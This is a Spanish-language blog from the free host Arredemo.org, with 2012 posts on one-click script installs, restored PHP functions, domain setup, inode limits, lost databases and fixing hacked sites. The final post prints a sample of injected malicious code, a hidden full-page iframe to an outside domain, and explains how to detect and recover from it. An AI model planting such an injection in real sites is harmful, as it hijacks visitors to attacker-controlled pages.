jueves, 26 de julio de 2012

Multitud de scripts autoinstalables

Tras un largo período en el que desactivamos los scripts preinstalables, por motivos de seguridad, ahora los hemos vuelto a activar.

Esto significa que desde tu panel de control puedes elegir una amplia variedad de scripts que se instalarán en tu cuenta con un solo clic. Puedes elegir sistemas de blog como Wordpress, tiendas virtuales, foros, sistemas de preguntas y respuestas... practicamente todo lo que puedas necesitar y de la manera más sencilla.

El propio sistema se encarga de crear la base de datos e instalar todos los archivos.

Aún más, si vas a solicitar tu hosting gratuito por primera vez tendrás la oportunidad de elegir la instalación de un script y te entregaremos en cuestión de minutos tu espacio con todo ya instalado y funcionando.

Obviamente más tarde puedes desinstalarlo o cambiarlo por cualquier otro.

El nuevo menú de registro en Arredemo.org:


Al desplegar el menú de scripts puedes optar por un espacio de hosting sin nada instalado o elegir desde ya algún programa que necesites:


Arredemo.org, hosting gratuito de la mejor calidad posible.

lunes, 2 de julio de 2012

Buenas noticias: restablecemos funciones restringidas en cuentas gratuitas.

Hace algún tiempo nos vimos obligados a restringir algunas funciones php en las cuentas gratuitas debido al uso indebido que se hacían de ellas y que podían perjudicar al resto de usuarios.

Hemos trabajado duro para mejorar la seguridad del sistema y ahora las restablecemos.

A partir de hoy todos los usuarios de cuentas gratuitas tienen activadas también las siguientes funciones:

- PHP Sendmail.-  todos los scripts que se instalen en las cuentas gratuitas pueden enviar correos electrónicos mediante la función PHP Sendmail(). Esto significa que volverán a funcionar scripts como Wordpress a la hora de enviar correo de activación tras el registro de usuarios o para restablecer la contraseña, por ejemplo.

- PHP Sockets/cURL.- todos los usuarios de cuentas gratuitas tienen ahora activado libcURL y PHP sockets lo que permite a los scripts instalados comunicarse con servicios online externos. Esto permite usar características como las autoactualizaciones de temas, plugins, etc, así  también servicios como reCaptcha y muchos otros que requieren cUrl para funcionar.

Recordamos, eso si, que NO está permitido instalar proxies ni enviar spam. Asimismo es importante que tus scripts estén bien optimizados. Para ello es importante controlar el uso de la CPU, mirar de vez en cuando los error.log que generan los diferentes scripts y usar métodos o plugins para cachear los sitios.

Si todo el mundo hace un uso responsable del servicio gratuito todos ganamos.

sábado, 30 de junio de 2012

Agregar un dominio propio a tu cuenta

Tu cuenta gratuita de arredemo.org puede usar un dominio propio.

Para ello, obviamente, tienes que haber adquirido un dominio en cualquiera de los sitios que gestionan dominios.

Pero supongamos que ya lo tienes. Por ejemplo: yosoyespecial.com

Vas a tu panel de control en arredemo.org y haces click en "Agregar dominio" (Addon domain).

En "domain name" escribes el nombre de tu dominio. Por ejemplo: yosoyespecial.com

Y pulsas "add domain".

Ahora tienes que ir al panel de control de tu dominio (el que te proporciona el sitio en dónde has registrado el dominio).

Lo configuras con las siguientes dns:

ns1.arredemo.org
ns2.arredemo.org

Listo.

Hay que esperar entre 24 y 72 horas para que funcione puesto que las nuevas dns se tienen que expandir por todos los servidores de nombres del planeta.

Pero a partir de ahora tienes dos sitios web distintos.

Uno: el que se te proporcionó al registrarte en arredemo.org. Por ejemplo: tunombre.arredemo.org

Dos: el del nuevo dominio que has agregado. Por ejemplo: yosoyespecial.com

Cada uno tiene su espacio y directorios propios.

¿Qué es un dominio aparcado (parked domain)?

Un dominio aparcado (parked domain) es un dominio que apunta a una dirección en tu cuenta de arredemo.org

Por ejemplo:

Supongamos que tienes una cuenta con la siguiente dirección: http://tutoriales.arredemo.org

Y tienes un dominio propio que has registrado en cualquiera de los proveedores de dominios existentes que es: http://tutorialesfacilitos.com

Bien, pues te vas a tu panel de control en arredemo.org y haces click en "Parked domains".

Agregas (domain name): "tutorialesfacilitos.com"

Parked on: eliges => tutoriales.arredemo.org (el nombre de tu cuenta en arredemo)

Ahora tienes que dirigirte al panel de control de tu dominio y conectarlo a los siguientes dns:

ns1.arredemo.org
ns2.arredemo.org

Guardas y listo.

Eso sí, tendrás que esperar entre 24 y 72 horas para que todos los servidores de nombres del mundo se enteren del cambio.

Pero a partir de entonces todo el que teclee "tutorialesfacilitos.com" llegará a tutoriales.arredemo.org.

¿Sencillo, no?

Inodes: una cuestión a tener en cuenta.

En Arredemo.org dispones de un relativo espacio ilimitado para albergar los archivos de tu web. Pero debes prestar atención a esto: tienes un límite de 40.000 "inodes". 1 inode = 1 archivo. O sea, puedes albergar hasta 40.000 archivos.

En tu panel de control encontrarás el porcentaje de "inodes" ocupados.

El tamaño máximo por archivo es de 10 Mb.

Por lo tanto, hay un límite físico. Si todos tus archivos fueran de 10 Mb alcanzaríamos ese límite de aproximadamente 400 Gb.

Pero si en tu sitio web hay más de 40.000 archivos (por pequeños que sean) también te pasarías y el sistema te indicaría que has llegado a tu límite de disco duro.


¿Se entiende?

Bien. Para la mayoría de los usuarios esto es irrelevante.

Pero, cuidado. Si tienes una web que, por ejemplo, va guardando automáticamente archivos de tipo caché puedes llegar a ocupar todos los inodes y alcanzar el límite de espacio en disco.

Tenlo en cuenta. Borra los archivos antiguos periódicamente. Evita que los archivos de caché se queden indefinidamente en el disco.

Controla el porcentaje de inodes que ocupa tu sitio para hacer algo antes de que llegues al límite.

Si todos vigilamos un poco nuestros sitios todo funcionará bien.

Han desaparecido mis bases de datos

Un día estabas tan content@ y de repente te das cuenta de que una o todas tus bases de datos han desaparecido...

... sobre todo mantén la calma.

Puede que te hayas percatado del "desastre" porque tu sitio no funciona. Primero comprueba en tu panel de control que está allí tu base de datos y que toda la configuración es correcta.

Si todo estaba funcionando y de repente deja de hacerlo sin que hayas tocado nada seguramente todo eso está bien.

Comprueba en tu panel de control que están allí tus bases de datos.

Si han desaparecido lo más probable es que se haya producido un fallo en el servidor que aloja tus bases de datos. Esto pasa en las mejores familias.

Es muy importante que no te pongas a crear otra base de datos y menos con el mismo nombre que la anterior

Lo único que conseguirías es perderla definitivamente.

Seguramente estaremos ya trasteando en el servidor. Depende de la gravedad del fallo tardaremos más o menos.

Habitualmente se arregla y todo se recupera.

Así que paciencia.

De todas formas... no olvides nunca:

ES MUY IMPORTANTE QUE PERIODICAMENTE HAGAS UNA COPIA DE RESPALDO DE TU BASE DE DATOS (BACKUP) y la guardes en tu ordenador. O en algún servicio de backup en la nube.

Es la única manera de minimizar la pérdida de datos en caso de que ocurra algún error grave.

Por otra parte, es una práctica básica de todos los webmasters responsables.

Mi siito iba bien pero ahora pasan cosas muy raras

Bueno, la primera cosa es hacer un ejercicio de auto-examen, auto-mega-sinceridad y buen rollo interior para que quede claro (para uno mismo) si he cambiado, he jugado, he probado o he toqueteado el código o los archivos de mi sitio web. Creedme, una buena parte de los problemas en sitios que iban bien y ahora no los tiene el propio webmaster.

Pero también puede suceder que, efectivamente, algo de repente vaya mal. Por ejemplo, mi sitio ha comenzado a redirigir a otro o aparecen cosas nuevas en mi sitio que yo no puse.

Os aconsejo probar vuestro sitio con diferentes navegadores (tened siempre Chrome y/o Opera a mano). Y mirad en cada uno de ellos el código fuente de vuestra página que funciona mal.

Por ejemplo, podreis encontraros algo así:

<iframe name="rotater"\nWidth="100%"\nheight="100%"\nframeborder="0"\nsrc="http://xlphp.net/blog2/"\nmarginwidth="0"\nmarginheight="0"\nvspace="0"\nhspace="0"\nallowtransparency="true"\nscrolling="auto">\n</iframe>\n<!-- 399 310 772 188 121 747 908 375 658 989 471 891 842 282 539 788 863 399 310 772 188 121 747 908 375 658 989 471 891 842 282 539 788 863 399 310 772 188 121 747 908 375 658 989 471 891 842 282 539 788 863 526 640 917 51 415 140 573 716 965 688 395 829 76 810 801 733 244 95 205 283 488 189 705 173 743 574 947 608 694 973 886 298 223 449 99 309 936 432 209 623 454 ph-->

Eso es un troyano. Un trozo de código inyectado a vuestro sitio. Sucede más a menudo de lo que pensais mayormente por sitios web que utilizan scripts vulnerables o trozos de código php o javascript que actúan de esa manera.

Tanto si has sido tú jugando con tu sitio o se te ha colado un troyano...

Debes tener siempre una copia limpia de tu sitio. O sea, guarda una copia de los archivos que usaste al empezar tu web y que sí funcionaban bien. Borra todos los archivos de tu web y vuelve a subir la copia limpia.

Si no tienes una copia limpia de tu sitio entonces te toca averiguar lo que está mal.

No olvides cambiar las contraseñas. Muchos troyanos hacen más cosas que la puñeta visual.

Si utilizas un script de un tercero ten mucho cuidado. Muchas copias para descargar ya pueden contener troyanos o puertas traseras, especialmente copias piratas de scripts de pago. Cualquier script puede tener vulnerabilidades que son aprovechadas por spiders para inyectar código malicioso en inocentes webs.

En fin, la recomendación es: en caso de duda, borra y empieza de nuevo. Si tu sitio funcionaba bien hasta que de repente ya no va bien... usa la filosofía del backup... vuelve atrás en el tiempo.